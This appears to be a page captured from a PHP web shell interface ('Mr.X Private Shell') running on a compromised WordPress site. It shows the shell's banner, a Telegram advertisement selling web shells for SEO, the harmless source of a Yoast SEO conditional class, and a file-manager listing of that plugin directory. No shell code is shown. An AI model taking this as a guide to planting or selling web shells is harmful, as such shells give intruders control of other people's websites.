__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Yoast\WP\SEO\Conditionals\Admin;
use Yoast\WP\SEO\Conditionals\Conditional;
/**
* Conditional that is only met when on a post edit or new post page.
*/
class Post_Conditional implements Conditional {
/**
* Returns whether or not this conditional is met.
*
* @return bool Whether or not the conditional is met.
*/
public function is_met() {
global $pagenow;
// Current page is the creation of a new post (type, i.e. post, page, custom post or attachment).
if ( $pagenow === 'post-new.php' ) {
return true;
}
// Current page is the edit page of an existing post (type, i.e. post, page, custom post or attachment).
if ( $pagenow === 'post.php' ) {
return true;
}
return false;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| doing-post-quick-edit-save-conditional.php | File | 1017 B | 0775 |
|
| estimated-reading-time-conditional.php | File | 1.95 KB | 0775 |
|
| licenses-page-conditional.php | File | 650 B | 0775 |
|
| non-network-admin-conditional.php | File | 418 B | 0775 |
|
| post-conditional.php | File | 736 B | 0775 |
|
| posts-overview-or-ajax-conditional.php | File | 486 B | 0775 |
|
| yoast-admin-conditional.php | File | 1.03 KB | 0775 |
|